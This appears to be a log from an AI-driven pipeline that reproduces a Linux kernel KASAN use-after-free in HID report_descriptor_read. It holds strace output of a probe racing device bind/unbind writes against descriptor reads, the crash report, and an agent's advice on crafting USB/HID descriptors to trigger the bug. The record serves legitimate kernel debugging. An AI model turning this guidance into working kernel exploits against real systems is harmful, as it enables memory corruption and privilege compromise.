[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.763914][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.777087][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.799720][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.821543][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.842619][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 76.873990][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.905445][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.936861][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.948127][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.970512][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.994899][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5895] futex(0x7fe6c38bc990, FUTEX_WAIT_BITSET|FUTEX_CLOCK_REALTIME, 5897, NULL, FUTEX_BITSET_MATCH_ANY <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] rt_sigprocmask(SIG_BLOCK, ~[RT_1], NULL, 8) = 0
[pid 5897] madvise(0x7fe6c30bc000, 8372224, MADV_DONTNEED) = 0
[pid 5897] exit(0) = ?
[pid 5897] +++ exited with 0 +++
[ 77.009042][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5895] <... futex resumed>) = -1 EAGAIN (Resource temporarily unavailable)
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5895] futex(0x7fe6c30bb990, FUTEX_WAIT_BITSET|FUTEX_CLOCK_REALTIME, 5898, NULL, FUTEX_BITSET_MATCH_ANY <unfinished ...>
[pid 5898] rt_sigprocmask(SIG_BLOCK, ~[RT_1], NULL, 8) = 0
[pid 5898] madvise(0x7fe6c28bb000, 8372224, MADV_DONTNEED) = 0
[pid 5898] exit(0) = ?
[pid 5895] <... futex resumed>) = 0
[pid 5898] +++ exited with 0 +++
close(4) = 0
close(5) = 0
close(6) = 0
write(3, "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"..., 4380) = 4380
close(3) = 0
write(1, "[+] Done", 8) = 8
write(1, "\n", 1) = 1
[+] Done
exit_group(0) = ?
+++ exited with 0 +++
[ 86.767287][ T9] cfg80211: failed to load regulatory.db
]
|
| 132/3 |
2026/05/19 10:15 |
agent |
repro-oracle |
0m
Model:
Results: map[Feedback:The execution completed successfully and the environment is ready. The probe program compiled and ran, exiting with `[+] Done`. However, the KASAN bug was not triggered. The console output shows that the logitech driver probe failed with `-EINVAL` (`error -22`). You can now proceed to generate the full reproducer in the next iteration, focusing on setting up the correct USB/HID descriptors to pass the probe and trigger the use-after-free during the `report_descriptor` read. TitleMatches:false]
Instruction: You are a security researcher with deep Linux kernel background.
Analyze the results of running the reproducer and determine if it was successful.
When Reproduced is false, analyze TruncatedConsoleOutput for execution patterns
(hangs, immediate exits, syscall failures)
to provide detailed feedback on why it failed and how to fix it.
The Strace Output will contain the syscall trace if the run was successful and strace was supported.
Use this trace to identify which syscall failed or behaved unexpectedly.
If the output indicates that this was a successful probe execution (all probes passed),
set Reproduced to false but provide feedback indicating that the environment is ready
and the agent should now proceed to generate the full reproducer in the next iteration.
If reproduction failed due to environmental issues (e.g., missing permissions, missing devices,
or sandbox restrictions), assume execution might succeed with a different approach or more
robust code (e.g., adding namespace setup or better error handling), and suggest modifications
to the C code.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: KASAN: slab-use-after-free Read in report_descriptor_read
==================================================================
BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
Read of size 36 at addr ffff888037dd9b80 by task fido_id/24047
CPU: 0 UID: 0 PID: 24047 Comm: fido_id Tainted: G L syzkaller #0 PREEMPT(full)
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/18/2026
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
__asan_memcpy+0x29/0x70 mm/kasan/shadow.c:105
report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
kernfs_file_read_iter fs/kernfs/file.c:269 [inline]
kernfs_fop_read_iter+0x451/0x6b0 fs/kernfs/file.c:298
new_sync_read fs/read_write.c:493 [inline]
vfs_read+0x582/0xa70 fs/read_write.c:574
ksys_read+0x150/0x270 fs/read_write.c:717
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f1e05ca7407
Code: 48 89 fa 4c 89 df e8 38 aa 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
RSP: 002b:00007fff31799f60 EFLAGS: 00000202 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f1e0644b880 RCX: 00007f1e05ca7407
RDX: 0000000000001000 RSI: 00007fff31799fb0 RDI: 0000000000000004
RBP: 0000563577cf9730 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000202 R12: 0000563577cf8930
R13: 00007fff31799fb0 R14: 0000000000000004 R15: 00005635507dc4d8
</TASK>
Allocated by task 19335:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__do_kmalloc_node mm/slub.c:5295 [inline]
__kmalloc_node_track_caller_noprof+0x4db/0x7b0 mm/slub.c:5407
kmemdup_noprof+0x2b/0x70 mm/util.c:138
kmemdup_noprof include/linux/fortify-string.h:763 [inline]
hid_open_report+0x1f7/0xf00 drivers/hid/hid-core.c:1376
hid_parse include/linux/hid.h:1206 [inline]
lg_probe+0x29c/0x8a0 drivers/hid/hid-lg.c:783
__hid_device_probe drivers/hid/hid-core.c:2822 [inline]
hid_device_probe+0x416/0x7a0 drivers/hid/hid-core.c:2859
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
hid_add_device+0x272/0x3e0 drivers/hid/hid-core.c:3003
usbhid_probe+0xbab/0x1080 drivers/hid/usbhid/hid-core.c:1449
usb_probe_interface+0x659/0xc70 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
usb_set_configuration+0x1a87/0x2110 drivers/usb/core/message.c:2268
usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
usb_probe_device+0x1c4/0x3b0 drivers/usb/core/driver.c:291
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
usb_new_device+0xa08/0x16f0 drivers/usb/core/hub.c:2695
hub_port_connect drivers/usb/core/hub.c:5567 [inline]
hub_port_connect_change drivers/usb/core/hub.c:5707 [inline]
port_event drivers/usb/core/hub.c:5871 [inline]
hub_event+0x2a1c/0x4f30 drivers/usb/core/hub.c:5953
process_one_work kernel/workqueue.c:3314 [inline]
process_scheduled_works+0xb5d/0x1860 kernel/workqueue.c:3397
worker_thread+0xa53/0xfc0 kernel/workqueue.c:3478
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
The buggy address belongs to the object at ffff888037dd9b80
which belongs to the cache kmalloc-64 of size 64
The buggy address is located 0 bytes inside of
freed 64-byte region [ffff888037dd9b80, ffff888037dd9bc0)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x37dd9
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000000 ffff88813fe1a8c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 13665, tgid 13665 (kworker/1:7), ts 1105362433588, free_ts 1105289461309
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x231/0x280 mm/page_alloc.c:1858
prep_new_page mm/page_alloc.c:1866 [inline]
get_page_from_freelist+0x24ba/0x2540 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5226
alloc_slab_page mm/slub.c:3278 [inline]
allocate_slab+0x77/0x660 mm/slub.c:3467
new_slab mm/slub.c:3525 [inline]
refill_objects+0x339/0x3d0 mm/slub.c:7271
refill_sheaf mm/slub.c:2816 [inline]
__pcs_replace_empty_main+0x321/0x720 mm/slub.c:4651
alloc_from_pcs mm/slub.c:4749 [inline]
slab_alloc_node mm/slub.c:4883 [inline]
__kmalloc_cache_noprof+0x392/0x660 mm/slub.c:5414
kmalloc_noprof include/linux/slab.h:950 [inline]
kzalloc_noprof include/linux/slab.h:1188 [inline]
ath6kl_usb_alloc_pipe_resources drivers/net/wireless/ath/ath6kl/usb.c:193 [inline]
ath6kl_usb_setup_pipe_resources drivers/net/wireless/ath/ath6kl/usb.c:406 [inline]
ath6kl_usb_create drivers/net/wireless/ath/ath6kl/usb.c:670 [inline]
ath6kl_usb_probe+0xdba/0x15a0 drivers/net/wireless/ath/ath6kl/usb.c:1143
usb_probe_interface+0x659/0xc70 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
page last free pid 23 tgid 23 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1402 [inline]
__free_frozen_pages+0xbc7/0xd30 mm/page_alloc.c:2943
__tlb_remove_table_free mm/mmu_gather.c:228 [inline]
tlb_remove_table_rcu+0x85/0x100 mm/mmu_gather.c:291
rcu_do_batch kernel/rcu/tree.c:2617 [inline]
rcu_core+0x7cd/0x1070 kernel/rcu/tree.c:2869
handle_softirqs+0x22a/0x840 kernel/softirq.c:622
run_ksoftirqd+0x36/0x60 kernel/softirq.c:1076
smpboot_thread_fn+0x541/0xa50 kernel/smpboot.c:160
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
Memory state around the buggy address:
ffff888037dd9a80: 00 00 00 00 04 fc fc fc fc fc fc fc fc fc fc fc
ffff888037dd9b00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
>ffff888037dd9b80: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
^
ffff888037dd9c00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
ffff888037dd9c80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
==================================================================
Reproduced: false
Console Output: [ 74.798358][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.801220][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.804085][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.806945][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.810386][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.813343][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.816246][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.819601][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.822614][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.825512][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.828595][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.831667][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.834551][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.837461][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.840660][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.843568][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.846399][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.849602][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.852515][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.855374][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.858968][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.861877][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.864705][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.867554][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.870614][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.873462][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.876299][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.880300][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.883177][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.885985][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.888991][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.892012][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.894873][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.897717][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.900879][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.903786][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.906625][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.909742][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.912653][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.915463][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.918708][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.921647][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.924491][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.927362][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.930540][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.933451][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.936298][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.939633][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.942549][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.945405][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.948493][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.951562][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.954471][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.957345][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.960608][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.963511][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.966345][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.969898][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.972780][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.975605][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.978856][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.981735][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.984558][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.987464][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.991345][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.994277][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.997113][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.000385][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
